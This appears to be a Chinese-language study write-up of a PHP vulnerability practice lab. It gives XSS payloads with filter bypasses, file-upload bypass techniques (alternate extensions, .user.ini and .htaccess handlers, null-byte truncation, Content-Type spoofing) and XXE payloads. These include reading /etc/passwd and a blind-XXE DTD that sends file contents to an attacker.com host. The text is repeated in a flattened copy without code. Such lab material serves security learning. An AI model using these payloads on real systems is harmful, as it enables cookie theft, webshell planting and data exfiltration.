某开源PHP靶场学习记录终篇
字数 1023 2025-08-09 18:44:09

某开源PHP靶场学习记录终篇 - 综合漏洞分析教学文档

XSS漏洞分析

反射型XSS

输出在script标签中

  • 漏洞特征:直接回显用户输入到script标签中
  • 利用方式
    ?xss=<script>alert(1)</script>
    
    ?xss=123');alert('xss')//  // 当输出在alert()中时
    

输出在script标签中(过滤了尖括号和斜杠)

  • 绕过方式
    ?xss=');alert(document.cookie);console.log('
    

输出在HTML属性中

  • 利用方式
    ?xss=xss" onerror="alert('1');
    
    ?xss=xss"><script>alert('xss');</script>
    

输出在注释中

  • 利用方式:使用换行符绕过单行注释
    ?xss=123%0aalert('xss');
    

JavaScript被过滤

  • 绕过方式
    1. 大小写绕过:
      ?xss=Javascript:alert(document.cookie);
      
    2. 实体编码绕过:
      ?xss=j%26%2397;vascript:alert(%26%2339;xss%26%2339;);
      

等号问题

  • 绕过方式:在等号两边加空格
    ?xss=xss" onerror ="alert('1');
    

DOM型XSS

DOM型XSS1

  • 利用方式:闭合和注释执行任意JS代码
    ?xss=";alert(document.cookie);//
    

DOM型XSS2

  • 利用方式:通过location.hash注入
    xss_nine#
    

DOM型XSS3

  • 利用方式:URL编码绕过
    ?asd=%22;alert(document.cookie);//&
    

DOM型XSS4

  • 利用方式:利用indexOf返回值特性绕过
    ?xss=Javascript:alert(document.cookie)
    

文件上传漏洞

任意文件上传漏洞

  • 上传流程
    1. PHP将文件存到临时位置
    2. 通过move_uploaded_file()移动到指定位置

基于黑名单的文件上传

  • 绕过方式
    1. 使用未被禁用的后缀:pht, phpt, phtml, php3, php4, php5, php::$DATA
    2. 大小写绕过:Php, PhP等
    3. 解析问题:中间件解析漏洞
    4. 文件包含:上传.user.ini配合文件包含

Nginx环境.user.ini利用

  1. 上传123.txt
  2. 上传.user.ini:
    auto_prepend_file=123.txt
    
  3. 访问同目录下任意PHP文件

Apache环境.htaccess利用

  1. 文件包含方式:
    php_value auto_prepend_file 文件绝对路径
    
  2. 文件解析方式:
    AddType application/x-httpd-php .xxx
    
    <FilesMatch "shell.txt">
        SetHandler application/x-httpd-php
    </FilesMatch>
    

基于白名单的文件上传

  • 绕过方式
    1. 00截断(PHP<5.3.4):
      1.php\x00.jpg
      
    2. 服务器中间件解析漏洞

基于type检测的文件上传

  • 绕过方式:修改Content-Type为允许的类型:
    • image/gif
    • image/jpeg
    • image/png

基于内容检测的文件上传

  • 绕过方式:在PHP代码前添加文件头标记
    • GIF:GIF89a

XXE漏洞分析

XML基础

  • XML结构
    <?xml version="1.0" ?> <!--XML声明-->
    <!DOCTYPE root [
      <!ELEMENT name (#PCDATA)>
      <!ELEMENT sex (#PCDATA)>
      <!ELEMENT age (#PCDATA)>
    ]>
    <user>
      <name>SNCKER</name>
      <sex>woman</sex>
      <age>3</age>
    </user>
    

恶意引入外部实体的三种方法

本地引入

<?xml version="1.0" ?>
<!DOCTYPE root [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

远程引入1

<?xml version="1.0" ?>
<!DOCTYPE root [
  <!ENTITY % d SYSTEM "http://example.com/evil.dtd">
  %d;
]>
<root>&file;</root>

evil.dtd内容:

<!ENTITY file SYSTEM "file:///etc/passwd">

远程引入2

<?xml version="1.0" ?>
<!DOCTYPE root SYSTEM "http://example.com/evil.dtd">
<root>&file;</root>

回显型XXE

  • 利用方式
    <?xml version="1.0"?>
    <!DOCTYPE root [
      <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    ]>
    <root>
      <name>&file;</name>
    </root>
    

盲型XXE

  • 利用方式
    1. 构造XML:
    <?xml version="1.0" ?>
    <!DOCTYPE root [
      <!ENTITY % d SYSTEM "http://example.com/evil.dtd">
      %d;
    ]>
    <root>&file;</root>
    
    1. evil.dtd内容:
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % remote "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?data=%file;'>">
    %remote;
    %send;
    

关键注意事项

  1. XXE漏洞与libXML版本相关,2.9.0+默认禁止外部实体
  2. 文件上传漏洞审计时可搜索move_uploaded_file函数
  3. 00截断需要PHP版本<5.3.4
  4. 不同环境下支持的协议不同,需针对性利用
某开源PHP靶场学习记录终篇 - 综合漏洞分析教学文档 XSS漏洞分析 反射型XSS 输出在script标签中 漏洞特征 :直接回显用户输入到script标签中 利用方式 : 输出在script标签中(过滤了尖括号和斜杠) 绕过方式 : 输出在HTML属性中 利用方式 : 或 输出在注释中 利用方式 :使用换行符绕过单行注释 JavaScript被过滤 绕过方式 : 大小写绕过: 实体编码绕过: 等号问题 绕过方式 :在等号两边加空格 DOM型XSS DOM型XSS1 利用方式 :闭合和注释执行任意JS代码 DOM型XSS2 利用方式 :通过location.hash注入 DOM型XSS3 利用方式 :URL编码绕过 DOM型XSS4 利用方式 :利用indexOf返回值特性绕过 文件上传漏洞 任意文件上传漏洞 上传流程 : PHP将文件存到临时位置 通过 move_uploaded_file() 移动到指定位置 基于黑名单的文件上传 绕过方式 : 使用未被禁用的后缀:pht, phpt, phtml, php3, php4, php5, php::$DATA 大小写绕过:Php, PhP等 解析问题:中间件解析漏洞 文件包含:上传.user.ini配合文件包含 Nginx环境.user.ini利用 上传123.txt 上传.user.ini: 访问同目录下任意PHP文件 Apache环境.htaccess利用 文件包含方式: 文件解析方式: 或 基于白名单的文件上传 绕过方式 : 00截断(PHP <5.3.4): 服务器中间件解析漏洞 基于type检测的文件上传 绕过方式 :修改Content-Type为允许的类型: image/gif image/jpeg image/png 基于内容检测的文件上传 绕过方式 :在PHP代码前添加文件头标记 GIF: GIF89a XXE漏洞分析 XML基础 XML结构 : 恶意引入外部实体的三种方法 本地引入 远程引入1 evil.dtd内容: 远程引入2 回显型XXE 利用方式 : 盲型XXE 利用方式 : 构造XML: evil.dtd内容: 关键注意事项 XXE漏洞与libXML版本相关,2.9.0+默认禁止外部实体 文件上传漏洞审计时可搜索 move_uploaded_file 函数 00截断需要PHP版本 <5.3.4 不同环境下支持的协议不同,需针对性利用